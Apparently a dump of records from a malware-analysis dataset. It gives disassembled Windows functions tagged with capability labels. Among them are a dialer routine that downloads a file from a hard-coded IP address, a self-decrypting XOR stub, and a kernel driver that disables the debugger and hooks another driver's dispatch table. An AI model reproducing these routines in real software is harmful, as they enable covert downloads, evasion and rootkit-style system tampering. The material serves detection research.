joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4023c0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, 0x31a48
call fcn.00402780
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ebx, ebx
lea ecx, [esp + 0x14]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402448
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0x1770
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0xd20]
push 0x30d40
push eax
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x118]
push 0x404160
push ecx
call ebp
mov esi, dword [esp + 0x31a5c]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x118]
push esi
push edx
call edi
lea eax, [esp + 0x118]
push 0x40415c
push eax
call edi
lea ecx, [esp + 0x518]
push 0x404158
push ecx
call ebp
lea edx, [esp + 0x518]
push esi
push edx
call edi
lea eax, [esp + 0x518]
push 0x40415c
push eax
call edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x918]
lea edx, [esp + 0xd18]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x118]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x11c]
push ecx
push ebx
push edx
call fcn.00402360
mov ebp, eax
lea edi, [esp + 0x528]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x528]
push ecx
push eax
lea ecx, [esp + 0xd30]
push ebx
push ecx
call fcn.00402360
mov ebx, eax
mov edx, ebp
lea eax, [esp + 0xd38]
mov edi, esi
sub edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
lea eax, [ecx + ebp + 2]
mov ebp, ebx
sub ebp, eax
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, edx
lea edx, [esp + 0x93c]
lea ecx, [esp + ecx + 0xd3e]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x2c
mov byte [esp + ebp + 0x918], 0
lea eax, [esp + 0x918]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x31a48
ret
Function at 0x402570
Capabilities:
Delete file
Download url
Get common file path
Receive data

Disassembly:
mov eax, 0x1504
call fcn.00402780
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._number.txt
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
push ebx
lea eax, [esp + 0x14]
push ebx
and ecx, 3
push eax
push str.http:__91.195.118.117_Dialer_Min_number.asp
rep movsb byte es:[edi], byte [esi]
push ebx
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x10]
push 0x40418c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, dword [sym.imp.MSVCRT.dll_fgets]
mov esi, eax
push esi
lea edx, [esp + 0x520]
push 0x400
push edx
call ebp
lea edi, [esp + 0x528]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x92c]
push 0x400
push eax
mov byte [esp + ecx + 0x533], bl
call ebp
lea edi, [esp + 0x934]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
mov byte [esp + ecx + 0x93b], bl
lea ecx, [esp + 0x13c]
push ecx
call ebp
lea edi, [esp + 0x140]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x143], bl
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x30
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.user
call fcn.004023c0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 4
push eax
lea eax, [esp + 0xd18]
push eax
call edi
push str.realm
call fcn.004023c0
add esp, 4
lea ecx, [esp + 0x1114]
push eax
push ecx
call edi
lea edx, [esp + 0xd14]
push edx
push 0x40e8cc
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x404178
push 0x40e8cc
call esi
lea eax, [esp + 0x914]
push eax
push 0x40e8cc
call esi
push 0x404178
push 0x40e8cc
call esi
lea ecx, [esp + 0x114]
push ecx
push 0x40e8cc
call esi
push str._secureroot
push 0x40e8cc
call esi
lea edx, [esp + 0x1114]
push edx
push 0x40e8cc
call esi
push str.1234
push 0x40e8ac
call edi
lea eax, [esp + 0x514]
push eax
push 0x40ecec
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1504
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x102f0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 0xb
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], edi
call esi
push 0x206b6444
push dword [ebp - 8]
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, edi
mov dword [ebp - 4], eax
je 0x103ad
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 8]
push eax
push 0xb
call esi
test eax, eax
jge 0x10342
push edi
jmp 0x103a4
mov eax, dword [ebp - 4]
cmp dword [eax], edi
lea esi, [eax + 4]
mov dword [ebp - 0xc], edi
jbe 0x103a2
push ebx
lea ebx, [esi + 0x1c]
mov edi, 0x11c
push 0x5c
push ebx
call dword [sym.imp.ntoskrnl.exe_strrchr]
test eax, eax
pop ecx
pop ecx
je 0x1036a
inc eax
jmp 0x1036c
mov eax, ebx
push dword [ebp + 8]
push eax
call dword [sym.imp.ntoskrnl.exe__stricmp]
test eax, eax
pop ecx
pop ecx
je 0x1038f
mov eax, dword [ebp - 4]
add esi, edi
add ebx, edi
inc dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [eax]
jb 0x10358
jmp 0x103a1
mov eax, dword [esi + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x103a1
mov ecx, dword [esi + 0xc]
mov dword [eax], ecx
pop ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
leave
ret 8

Function at 0x103ee
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
lea eax, [ebp - 4]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push 0xb
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
call esi
push 0x206b6444
push dword [ebp - 8]
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x104aa
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 8]
push eax
push 0xb
call esi
test eax, eax
jge 0x10449
push ebx
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x104aa
mov eax, dword [ebp - 4]
cmp dword [eax], ebx
push edi
lea edi, [eax + 4]
mov dword [ebp - 0xc], ebx
jbe 0x104a1
lea ebx, [edi + 0x1c]
mov esi, 0x11c
push 0x5c
push ebx
call dword [sym.imp.ntoskrnl.exe_strrchr]
test eax, eax
pop ecx
pop ecx
je 0x10471
inc eax
jmp 0x10473
mov eax, ebx
push dword [ebp + 8]
push eax
call dword [sym.imp.ntoskrnl.exe__stricmp]
test eax, eax
pop ecx
pop ecx
je 0x10496
mov eax, dword [ebp - 4]
add edi, esi
add ebx, esi
inc dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [eax]
jb 0x1045f
jmp 0x1049f
mov eax, dword [edi + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
mov eax, dword [ebp - 0x10]
pop esi
pop ebx
leave
ret 4
Function at 0x10516
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
xor eax, eax
push ebx
push edi
xor ebx, ebx
mov byte [ebp + 0x3c], bl
lea edi, [ebp + 0x3d]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x17
xor eax, eax
mov word [ebp - 0x24], bx
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x11b28]
cmp eax, ebx
mov dword [ebp + 0x54], ebx
mov byte [ebp + 0x5c], 0x74
mov byte [ebp + 0x5d], 0x61
mov byte [ebp + 0x5e], 0x74
mov byte [ebp + 0x5f], 0x65
mov byte [ebp + 0x60], 0x7c
mov byte [ebp + 0x61], 0x3b
mov byte [ebp + 0x62], 0x66
mov byte [ebp + 0x63], 0x6c
mov byte [ebp + 0x64], 0x66
mov byte [ebp + 0x68], 0x69
mov byte [ebp + 0x69], 0x71
mov byte [ebp + 0x6a], 0x47
mov byte [ebp + 0x6b], 0x5c
mov byte [ebp + 0x6c], 0x43
mov byte [ebp + 0x6d], 0x50
mov byte [ebp + 0x6e], 0x47
mov byte [ebp + 0x6f], 0x69
mov byte [ebp + 0x70], 0x54
mov byte [ebp + 0x71], 0x41
mov byte [ebp + 0x72], 0x54
mov byte [ebp + 0x73], 0x45
mov byte [ebp + 0x74], 0x5c
jne 0x1065c
xor eax, eax
mov cl, byte [ebp + eax + 0x5c]
xor cl, 0x15
mov byte [ebp + eax + 0x3c], cl
inc eax
nop
nop
nop
nop
nop
xor eax, eax
mov cl, byte [ebp + eax + 0x68]
xor cl, 0x35
movzx cx, cl
mov word [ebp + eax*2 - 0x24], cx
inc eax
cmp eax, 0xd
jb 0x105c0
push esi
lea eax, [ebp + 0x3c]
push eax
call fcn.000103ee
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp + 0x6c]
push eax
call esi
push 0x104b4
lea eax, [ebp + 0x4c]
push eax
call esi
lea eax, [ebp + 0x4c]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
lea ecx, [ebp + 0x58]
push ecx
push ebx
push ebx
push dword [sym.imp.ntoskrnl.exe_IoDriverObjectType]
lea ecx, [ebp + 0x6c]
push ebx
push ebx
push 0x40
push ecx
mov dword [0x11b58], eax
call eax
mov edi, eax
push 0x104e4
lea eax, [ebp + 0x5c]
push eax
call esi
cmp edi, ebx
jl 0x10656
mov edx, dword [ebp + 0x58]
push edx
mov dword [0x11b44], edx
call section..text
mov esi, eax
mov ecx, edx
nop
nop
mov dword [0x11b28], esi
nop
nop
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x10659
mov esi, dword [ebp + 0x54]
mov eax, esi
pop esi
pop edi
pop ebx
add ebp, 0x78
leave
ret
Function at 0x10664
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
and byte [ebp - 0x3c], 0
push edi
push 0xb
xor eax, eax
cmp dword [0x11b34], 0
pop ecx
lea edi, [ebp - 0x3b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x7c
mov byte [ebp - 7], 0x3b
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0x66
pop edi
je 0x106f8
xor eax, eax
mov cl, byte [ebp + eax - 0xc]
xor cl, 0x15
mov byte [ebp + eax - 0x3c], cl
inc eax
cmp eax, 9
jb 0x106ac
call fcn.00010516
test eax, eax
je 0x106f8
lea eax, [ebp - 0x3c]
push eax
call fcn.000103ee
test eax, eax
je 0x106f8
cmp byte [0x11b48], 0
jne 0x106ef
add dword [0x11b34], eax
add dword [0x11b38], eax
mov byte [0x11b48], 1
mov eax, dword [0x11b44]
test eax, eax
jne 0x106fc
xor al, al
jmp 0x1072f
mov ecx, dword [eax + 0x70]
mov dword [0x11b3c], ecx
mov ecx, dword [eax + 0x74]
cmp ecx, dword [0x11b38]
mov dword [0x11b40], ecx
je 0x1072d
mov ecx, dword [0x11b34]
mov dword [eax + 0x70], ecx
mov eax, dword [0x11b38]
mov ecx, dword [0x11b44]
mov dword [ecx + 0x74], eax
mov al, 1
leave
ret 8
Function at 0x11496
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push str.DeviceNEWYEARK
lea eax, [ebp - 8]
push eax
call esi
push str.DosDevicesNEWYEARK
lea eax, [ebp - 0x10]
push eax
call esi
call sub.ntoskrnl.exe_KdDisableDebugger
mov esi, dword [ebp + 8]
push 0x11b4c
push 1
push 0
push 0x22
lea eax, [ebp - 8]
push eax
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
jl 0x11532
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov ebx, eax
test ebx, ebx
jge 0x114ff
push dword [esi + 4]
call dword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, ebx
jmp 0x11531
mov eax, 0x113f2
push 0x11b38
push 0x11b34
mov dword [esi + 0x70], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x78], eax
mov dword [esi + 0x34], 0x103b6
jmp 0x1154e
push 0
push 0
call fcn.000111ac
xor eax, eax
pop ebx
pop esi
leave
ret 8
call fcn.00010a71
jmp 0x11526

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4083e6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
cmp dword [ebp + 8], 0
je 0x4083fb
cmp dword [ebp + 0xc], 0
jne 0x408414
push 0x11
push 0
push str.parameter_error
call fcn.00401160
add esp, 0xc
or eax, 0xffffffff
jmp 0x40862a
push 0x42c2e0
mov eax, dword [ebp + 8]
push eax
call fcn.0040e430
add esp, 8
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jne 0x40844f
push 0x11
mov ecx, dword [ebp + 8]
push ecx
push str.cannot_open_file_list:__s
call fcn.00401160
add esp, 0xc
or eax, 0xffffffff
jmp 0x40862a
call sub.STATRN32.dll_ST_OpenEnvironment
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x210], 1
cmp dword [ebp - 0x210], 0xff
jge 0x408557
push 0xc8
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x2e0]
push eax
lea ecx, [ebp - 0x2d8]
push ecx
call fcn.00401758
add esp, 0x10
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 8], 0
jne 0x4084a4
jmp 0x408557
cmp dword [ebp - 0x2dc], 0
jge 0x4084b2
jmp 0x408557
push 0x2a
lea edx, [ebp - 0x2d8]
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
jne 0x4084de
push 0x3f
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x40850d
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x2d8]
push eax
mov ecx, dword [ebp - 0x20c]
push ecx
call fcn.0040862e
add esp, 0x10
test eax, eax
je 0x40850b
jmp 0x408617
jmp 0x408552
lea edx, [ebp - 0x2d8]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call fcn.00408300
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x408531
jmp 0x408617
mov ecx, dword [ebp - 0x210]
mov dx, word [ebp - 4]
mov word [ebp + ecx*2 - 0x208], dx
mov eax, dword [ebp - 0x210]
add eax, 1
mov dword [ebp - 0x210], eax
jmp 0x408464
mov ecx, dword [ebp - 0x2e0]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x42c300
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040e430
add esp, 8
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jne 0x4085a2
push 0x11
mov eax, dword [ebp + 0xc]
push eax
push str.Cannot_open_output_file:__s
call fcn.00401160
add esp, 0xc
or eax, 0xffffffff
jmp 0x40862a
mov ecx, dword [ebp - 0x210]
sub ecx, 1
mov dword [ebp - 0x210], ecx
mov dx, word [ebp - 0x210]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0x2e0]
push eax
mov ecx, dword [ebp - 0x210]
add ecx, 1
push ecx
push 2
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov dword [ebp - 0x2dc], eax
mov eax, dword [ebp - 0x210]
push eax
push str._d_files_locked_n
lea ecx, [ebp - 0x2d8]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x2d8]
push edx
call fcn.00401160
add esp, 0xc
mov eax, dword [ebp - 0x2e0]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x40cb0f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov dword [0x432324], 1
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040b297
add esp, 8
push 1
push 0
push 1
lea edx, [ebp - 0x104]
push edx
call fcn.00416dac
add esp, 0x10
mov dword [0x432294], eax
cmp dword [0x432294], 0
jne 0x40cb60
push 0xffffffffffffffff
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [0x432324], 1
push 1
call fcn.00408933
add esp, 4
call fcn.00416f2c
mov dword [0x432294], eax
mov dword [0x432324], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40cd00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 1
push 0
push str._nYou_are_running_in_batch_mode_from_the_operating_system__nand_you_do_not_have_a_valid_license_for_Stat_Transfer._nSince_cases_will_be_deleted__your_transfer_will_not_be_performed._n
call fcn.00401160
add esp, 0xc
push 0xffffffffffffffff
call dword [sym.imp.MSVCRT.dll_exit]
pop ebp
ret

Function at 0x40d519
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 5
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str.open
mov edx, dword [0x433670]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x20
jge 0x40d558
push 0
push 0x434400
push str.Cannot_display_the_help_file:__s
call fcn.00401160
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x40d6bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 8]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40d6ed
or eax, 0xffffffff
jmp 0x40d71a
mov edx, dword [ebp + 0x10]
mov byte [edx], 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40d718
or eax, 0xffffffff
jmp 0x40d71a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40e4c5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push 0x104
lea eax, [ebp - 0x30c]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call sub.KERNEL32.dll_MultiByteToWideChar
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.MSVCRT.dll__wremove]
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x415e51
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x884
mov dword [ebp - 4], 0
mov dword [ebp - 0x878], 0
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x880], 0
mov dword [ebp - 0x87c], 0
push 0x30c
push 0
lea eax, [ebp - 0x870]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x30c
push 0
lea ecx, [ebp - 0x560]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 8], 0
jne 0x415ecc
mov dword [ebp + 8], 0x42eef4
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x870]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
cmp dword [ebp + 0xc], 0
je 0x415ef8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x870]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x560]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x870]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x250
push 0
lea edx, [ebp - 0x254]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x560]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x415f54
xor eax, eax
jmp 0x4160ad
push 1
push 0x1c
call dword [sym.imp.MSVCRT.dll_calloc]
add esp, 8
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x880], 0
jmp 0x415f82
mov edx, dword [ebp - 0x880]
add edx, 1
mov dword [ebp - 0x880], edx
cmp dword [ebp - 0x880], 0x7fffffff
jge 0x415fd9
lea eax, [ebp - 0x254]
push eax
mov ecx, dword [ebp - 0x878]
push ecx
call fcn.004160b1
add esp, 8
test eax, eax
je 0x415faa
jmp 0x415fd9
push 0x250
push 0
lea edx, [ebp - 0x254]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x415fd7
jmp 0x415fd9
jmp 0x415f73
mov edx, dword [ebp - 0x878]
cmp dword [edx], 0
jle 0x4160a7
mov eax, dword [ebp - 0x878]
mov ecx, dword [eax]
push ecx
push 4
call dword [sym.imp.MSVCRT.dll_calloc]
add esp, 8
mov edx, dword [ebp - 0x878]
mov dword [edx + 0xc], eax
mov dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x878]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x564], ecx
jmp 0x41603d
mov edx, dword [ebp - 0x564]
mov eax, dword [edx]
mov dword [ebp - 0x564], eax
mov ecx, dword [ebp - 0x874]
add ecx, 1
mov dword [ebp - 0x874], ecx
cmp dword [ebp - 0x564], 0
je 0x416060
mov edx, dword [ebp - 0x878]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp - 0x874]
mov edx, dword [ebp - 0x564]
mov dword [eax + ecx*4], edx
jmp 0x416020
cmp dword [ebp + 0x10], 0
je 0x4160a7
cmp dword [ebp + 0x10], 2
jne 0x416078
mov dword [ebp - 0x884], 0x41657c
jmp 0x416082
mov dword [ebp - 0x884], 0x4164f8
mov eax, dword [ebp - 0x884]
push eax
push 4
mov ecx, dword [ebp - 0x878]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x878]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_qsort]
add esp, 0x10
mov eax, dword [ebp - 0x878]
mov esp, ebp
pop ebp
ret